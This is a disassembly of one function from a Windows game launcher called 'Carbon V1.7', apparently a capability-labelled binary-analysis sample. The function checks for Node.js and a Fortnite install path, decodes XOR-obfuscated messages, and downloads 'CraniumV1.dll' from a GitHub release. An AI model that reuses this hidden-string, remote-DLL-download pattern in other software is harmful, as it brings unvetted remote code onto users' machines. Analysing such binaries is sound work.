Function at 0x140009380
Capabilities:
Download url
Enumerate processes
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xa80
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140060030]
xor rax, rsp
mov qword [rbp + 0xa20], rax
mov esi, ecx
mov dword [rbp + 0x50], ecx
xor r14d, r14d
lea rcx, [fcn.140006470]
call fcn.140030744
lea rdx, [0x140006610]
lea ecx, [r14 + 2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_signal]
lea rdx, [0x140006610]
lea ecx, [r14 + 0xf]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_signal]
cmp byte [0x1400623e0], r14b
je 0x140009410
call fcn.140008610
lea rcx, str.CarbonLauncher.exe
call fcn.140006380
xor eax, eax
jmp 0x14000b29a
lea rcx, str.node__v
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [0x140050d50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test ebx, ebx
je 0x14000945e
mov r9d, 0x134
lea r8, str.Warning
lea rdx, str.Node.js_is_not_installed._You_are_not_able_to_run_the_backed_without_it._Would_you_like_to_install_it_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x14000945e
lea rcx, str.start_https:__nodejs.org_en_download_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140005cc0
call fcn.140006470
xorps xmm0, xmm0
movups xmmword [rbp + 0x760], xmm0
movups xmmword [rbp + 0x770], xmm0
movups xmmword [rbp + 0x780], xmm0
lea rdx, [rbp + 0x760]
call fcn.140028210
lea rcx, [rbp + 0x1a0]
call fcn.140006f90
nop
mov r8d, 0xe
lea rdx, str.Carbon.config
mov rcx, rax
call fcn.14000fac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x600], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x5f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x600], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x14000952b
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009526
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009526
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1a0], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x260]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x5f0]
cmp qword [rbp + 0x608], 0x10
cmovae rdx, qword [rbp + 0x5f0]
mov r8d, 1
lea rcx, [rbp + 0x260]
call fcn.14000cbc0
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x260], rbx
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x25c], edx
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
movabs rdi, 0x34def6d7f1687207
movabs r13, 0x914ac63945fe0add
movabs r12, 0x9f441b8c41507616
movabs r15, 0x9cf913028e2e4388
test byte [rbp + rcx + 0x270], 6
je 0x140009f5d
cmp esi, 1
jg 0x140009f5d
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140097e20], eax
jle 0x140009666
lea rcx, [0x140097e20]
call fcn.14002fea8
cmp dword [0x140097e20], 0xffffffff
jne 0x140009666
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov r8, rax
movabs rax, 0xd6bf94d5e57a42bd
imul r8
add rdx, r8
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [0x140097e18], rdx
lea rcx, [0x140097e20]
call fcn.14002fe48
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
lea rax, str.Using_Carbon_for_the_first_time_
mov qword [rbp + 0x1e0], rax
mov rax, qword [0x140097e18]
mov qword [rbp + 0x1f0], rax
lea rax, str.1024x1024
mov qword [rbp + 0x200], rax
lea rax, str.Carbon_V1.7_made_by_Timmy__mawmet_
mov qword [rbp + 0x208], rax
lea rcx, [0x140063440]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x1400096f3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov r8d, dword [0x1400600a8]
lea eax, [r8 + 1]
mov dword [0x1400600a8], eax
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea rcx, [0x140093ac8]
call fcn.14002bae0
mov qword [0x140093ac0], rax
mov eax, 1
xchg byte [0x1400623e3], al
lea rcx, [0x140063440]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rcx, qword [0x140063498]
test rcx, rcx
je 0x140009751
add rcx, 0x58
call qword [sym.imp.MSVCP140.dll__Cnd_broadcast]
mov rax, qword [0x140097ac8]
test rax, rax
je 0x1400097cb
cmp dword [rax + 8], 3
jne 0x1400097cb
mov eax, dword [0x1400834e8]
cmp eax, 8
jae 0x1400097cb
mov ecx, 1
lock xadd dword [0x1400834e0], ecx
and ecx, 7
imul rbx, rcx, 0x4008
lea rax, [0x1400634a0]
add rbx, rax
je 0x1400097cb
mov r9d, dword [0x1400600a8]
lea eax, [r9 + 1]
mov dword [0x1400600a8], eax
lea rcx, [rbx + 8]
call fcn.14002e6d0
mov qword [rbx], rax
lock inc dword [0x1400834e8]
mov rcx, qword [0x140063498]
test rcx, rcx
je 0x1400097cb
add rcx, 0x58
call qword [sym.imp.MSVCP140.dll__Cnd_broadcast]
lea rcx, str.____Welcome_to_Carbon_V1.7___n
call fcn.1400011b0
lea rcx, str._____Enter_your_username:__n
call fcn.1400011b0
mov r8d, 0x20
lea rdx, str.CarbonUser
lea rcx, str._33__n_
call fcn.140001210
mov ecx, 0xa
call fcn.140006c80
lea rdx, str.CarbonUser
lea rcx, str._____Username:__s__n
call fcn.1400011b0
movabs rcx, 0xe524831918d551fd
movabs rdx, 0xbf366ee338700473
movabs r8, 0x5caa97a794051360
movabs r9, 0xefd97672f75a6ba9
movabs r10, 0xd100856c4acce861
movabs r11, 0x98368b3d5eaf867
lea rdi, [0x140097d00]
mov rbx, 0xffffffffffffffff
jmp 0x14000987a
movabs r13, 0x914ac63945fe0add
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x140], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x148], rax
mov qword [rbp + 8], r8
mov rax, qword [rbp + 8]
mov qword [rbp + 0x150], rax
mov qword [rbp + 8], r9
mov rax, qword [rbp + 8]
mov qword [rbp + 0x158], rax
mov qword [rbp + 8], r10
mov rax, qword [rbp + 8]
mov qword [rbp + 0x160], rax
mov qword [rbp + 8], r11
mov rax, qword [rbp + 8]
mov qword [rbp + 0x168], rax
movabs rax, 0xd08356358b013372
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x170], rax
movabs rax, 0x91f776bfca563753
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x178], rax
movabs rax, 0x901d83a16ba3e824
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x180], rax
movabs rcx, 0x8b2ddab47b5a0a1e
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x188], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x900], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x908], rax
movabs rax, 0x34def6d7f1687207
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x910], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x918], rax
movabs rax, 0xbe74f00d6aa39c41
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x920], rax
movabs rax, 0x65ef09d0bc9e990a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x928], rax
movabs rax, 0xa9a3325be267130b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x930], rax
movabs rax, 0xe58418d6ea24423c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x938], rax
movabs rax, 0x901d898142cf8445
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x940], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x948], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x900]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x920]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqa xmm0, xmmword [rbp + 0x180]
vpxor xmm0, xmm0, xmmword [rbp + 0x940]
vmovdqa xmmword [rbp + 0x180], xmm0
lea rcx, [rbp + 0x140]
vzeroupper
call fcn.1400011b0
lea rcx, str.e_2K_r
call fcn.1400011b0
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
cmp eax, 0xa
jne 0x140009a70
mov r8d, 0x103
mov rdx, rdi
lea rcx, str._256__n_
call fcn.140001210
mov rax, rbx
inc rax
cmp byte [rdi + rax], 0
jne 0x140009a93
cmp rax, 2
jb 0x140009ae0
cmp byte [0x140097d00], 0x22
jne 0x140009ae0
cmp byte [rax + rdi - 1], 0x22
jne 0x140009ae0
lea rbx, [rax - 2]
mov r8, rbx
lea rdx, [0x140097d01]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
cmp rbx, 0x104
jae 0x14000be81
mov byte [rbx + rdi], 0
mov rbx, 0xffffffffffffffff
mov rdx, rdi
lea rcx, [0x140051734]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140009b5a
lea rcx, [rbp + 0x120]
call fcn.140006740
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140009b41
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009eeb
call fcn.140030764
mov qword [rbp + 0x130], r14
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
mov qword [rbp + 0x620], r14
mov qword [rbp + 0x628], r14
mov r8, rbx
inc r8
cmp byte [rdi + r8], 0
jne 0x140009b75
mov rdx, rdi
lea rcx, [rbp + 0x610]
call fcn.140015410
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rbp + 0x620]
sub rax, r15
cmp rax, 0x3e
jb 0x14000be7b
lea r12, [rbp + 0x610]
mov rsi, qword [rbp + 0x610]
mov r13, qword [rbp + 0x628]
cmp r13, 0x10
cmovae r12, rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x5d0], xmm0
mov qword [rbp + 0x5e0], r14
mov qword [rbp + 0x5e8], r14
lea r14, [r15 + 0x3e]
mov edi, 0xf
lea rbx, [rbp + 0x5d0]
cmp r14, rdi
jbe 0x140009c77
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x140009c0b
mov rdi, rcx
jmp 0x140009c18
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140009c5f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000be87
mov rcx, rax
call fcn.140030254
test rax, rax
je 0x140009e98
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140009c70
test rcx, rcx
je 0x140009c6e
call fcn.140030254
mov rbx, rax
jmp 0x140009c70
xor ebx, ebx
mov qword [rbp + 0x5d0], rbx
mov qword [rbp + 0x5e0], r14
mov qword [rbp + 0x5e8], rdi
mov r8, r15
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.FortniteGameBinariesWin64FortniteClient_Win64_Shipping.exe]
movups xmmword [rbx + r15], xmm0
movups xmm1, xmmword [0x140051290]
movups xmmword [rbx + r15 + 0x10], xmm1
movups xmm0, xmmword [0x1400512a0]
movups xmmword [rbx + r15 + 0x20], xmm0
movsd xmm1, qword [0x1400512b0]
movsd qword [rbx + r15 + 0x30], xmm1
mov eax, dword [0x1400512b8]
mov dword [rbx + r15 + 0x38], eax
movzx eax, word [0x1400512bc]
mov word [rbx + r15 + 0x3c], ax
mov byte [rbx + r14], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006d60
mov ecx, 0xb
test al, al
jne 0x140009e47
call fcn.140006c80
lea rdi, [0x140097d00]
mov rdx, rdi
lea rcx, str._____Invalid_game_path:__s__n
call fcn.1400011b0
nop
mov rdx, qword [rbp + 0x5e8]
cmp rdx, 0x10
jb 0x140009d5b
inc rdx
mov rcx, qword [rbp + 0x5d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e98
call fcn.140030764
xor r14d, r14d
mov qword [rbp + 0x5e0], r14
mov qword [rbp + 0x5e8], 0xf
mov byte [rbp + 0x5d0], r14b
cmp r13, 0x10
lea rbx, [r14 - 1]
movabs rcx, 0xe524831918d551fd
movabs rdx, 0xbf366ee338700473
movabs r15, 0x9cf913028e2e4388
movabs r12, 0x9f441b8c41507616
movabs r8, 0x5caa97a794051360
movabs r9, 0xefd97672f75a6ba9
movabs r10, 0xd100856c4acce861
movabs r11, 0x98368b3d5eaf867
jb 0x140009870
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140009dfe
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009eeb
mov rcx, rsi
call fcn.140030764
movabs rcx, 0xe524831918d551fd
movabs rdx, 0xbf366ee338700473
movabs r8, 0x5caa97a794051360
movabs r9, 0xefd97672f75a6ba9
movabs r10, 0xd100856c4acce861
movabs r11, 0x98368b3d5eaf867
jmp 0x140009870
call fcn.140006c80
lea rdx, [0x140097d00]
lea rcx, str._____Using_game_path:__s__n
call fcn.1400011b0
nop
mov rdx, qword [rbp + 0x5e8]
cmp rdx, 0x10
jb 0x140009ea4
inc rdx
mov rcx, qword [rbp + 0x5d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009e9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140030764
xor r14d, r14d
mov qword [rbp + 0x5e0], r14
mov qword [rbp + 0x5e8], 0xf
mov byte [rbp + 0x5d0], r14b
cmp r13, 0x10
jb 0x140009efa
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140009ef2
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ef2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140030764
mov qword [rbp + 0x620], r14
mov qword [rbp + 0x628], 0xf
mov byte [rbp + 0x610], 0
lea rcx, str.e_2K_r
call fcn.1400011b0
mov cl, 1
call fcn.1400089d0
mov esi, dword [rbp + 0x50]
lea rbx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
movabs rdi, 0x34def6d7f1687207
movabs r15, 0x9cf913028e2e4388
movabs r12, 0x9f441b8c41507616
movabs r13, 0x914ac63945fe0add
jmp 0x14000a1f9
lea rcx, str.____Welcome_back_to_Carbon___n
call fcn.1400011b0
cmp esi, 2
jl 0x14000a1f9
movabs rax, 0xe42b8a1918df51fd
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0], rax
movabs rax, 0xe8647ce228381578
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc8], rax
movabs rax, 0x47b984b6d100066e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd0], rax
movabs rax, 0xee8b6661ae5d2aa8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd8], rax
movabs rax, 0xd11ad07406d7f224
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe0], rax
movabs rax, 0x178079a0c9edb97e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
movabs rax, 0xdd835c34c203767f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf0], rax
movabs rax, 0x96f67da0ca572b54
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
movabs rax, 0xf76fc8a16ca1eb2c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x100], rax
movabs rax, 0xe90db6d8122d2a6d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x108], rax
movabs rax, 0xfbc3af318096176a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x110], rax
movabs rax, 0x57e2150a26c51bf4
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x118], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9c0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9c8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9d0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9d8], rax
movabs rax, 0xbe74f00d6aa39c41
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9e0], rax
movabs rax, 0x65ef09d0bc9e990a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9e8], rax
movabs rax, 0xa9a3325be267130b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9f0], rax
movabs rax, 0xe58418d6ea24423c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9f8], rax
movabs rax, 0x901d898142cf8445
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa00], rax
movabs rax, 0x8b2ddab47b5a0a1e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa08], rax
movabs rax, 0x9eb1c05fe7ff370f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa10], rax
movabs rax, 0x57e2150a26cf3b90
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa18], rax
vmovdqu ymm0, ymmword [rbp + 0x9c0]
vpxor ymm0, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0xc0], ymm0
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x9e0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa00]
vpxor ymm0, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm0
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.1400011b0
xor ecx, ecx
call fcn.1400089d0
lea rcx, [rbp + 0x1c0]
call fcn.140006f90
nop
mov r8d, 0xe
lea rdx, str.CraniumV1.dll
mov rcx, rax
call fcn.14000fac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x590], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x590], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x5a0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x14000a29f
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a29a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a29a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1c0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5c0], xmm1
mov r8d, 0x4f
lea rdx, str.https:__github.com_timjans01_CarbonReleases_releases_download_1.7_CraniumV1.dll
lea rcx, [rbp + 0x5b0]
call fcn.140015410
nop
lea r8, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0x10
cmovae r8, qword [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
cmp qword [rbp + 0x5c8], 0x10
cmovae rdx, qword [rbp + 0x5b0]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x14000b83b
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x370]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0x10
cmovae rdx, qword [rbp + 0x590]
mov r8d, 1
lea rcx, [rbp + 0x370]
call fcn.14000cbc0
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x370], rbx
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x36c], edx
mov rax, qword [rbp + 0x370]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x380], 6
je 0x14000ad2e
mov qword [rbp + 0x50], 0x64
lea rcx, [rbp + 0x50]
call fcn.140014d10
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x480]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0x10
cmovae rdx, qword [rbp + 0x590]
mov r8d, 1
lea rcx, [rbp + 0x480]
call fcn.14000cbc0
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x480], rbx
mov rax, qword [rbp + 0x480]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x47c], edx
mov rcx, qword [rbp + 0x480]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x490], 6
je 0x14000ace4
movabs rax, 0xe625821918df51fd
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
movabs rax, 0xec2d3be8203f1a78
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
movabs rax, 0x14b998be9a090627
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x90], rax
movabs rax, 0xe8d96167e9402ce4
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x98], rax
movabs rax, 0xdb0488684acdf929
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa0], rax
movabs rax, 0x4b829fed8fbed69
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa8], rax
movabs rax, 0x878d1c3c8c0e6762
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb0], rax
movabs rax, 0xe58418d6ea244236
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x980], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x988], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x990], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x998], rax
movabs rax, 0xbe74f00d6aa39c41
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9a0], rax
movabs rax, 0x65ef09d0bc9e990a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9a8], rax
movabs rax, 0xa9a3325be267130b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9b0], rax
movabs rax, 0xe58418d6ea24423c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9b8], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x980]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x9a0]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.1400011b0
mov qword [rbp + 0x58], 0x3e8
lea rcx, [rbp + 0x58]
call fcn.140014d10
mov rcx, qword [rbp + 0x480]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x490], 6
je 0x14000ace4
movabs rax, 0xf82b911918df51fd
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x60], rax
movabs rax, 0xaf742aac263e1f62
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x68], rax
movabs rax, 0x1af0d8a49c484237
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x70], rax
movabs rax, 0x9cf913028e2e4382
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x78], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x960], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x968], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x970], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x978], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x960]
vmovdqa ymmword [rbp + 0x60], ymm1
lea rcx, [rbp + 0x60]
vzeroupper
call fcn.1400011b0
mov qword [rbp], 0x2710
lea rcx, [rbp]
call fcn.140014d10
mov rcx, qword [rbp + 0x480]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x490], 6
je 0x14000ace4
movabs rax, 0xf0249319188651fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0xfb6474f861351a74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x14ba97b89d060568
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0xb294666be04f31cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
movabs rax, 0xdf13912d13d1c861
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0x178a7db1d0bef763
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xddcd5d38c2157c2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x95f46da5ca50215d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
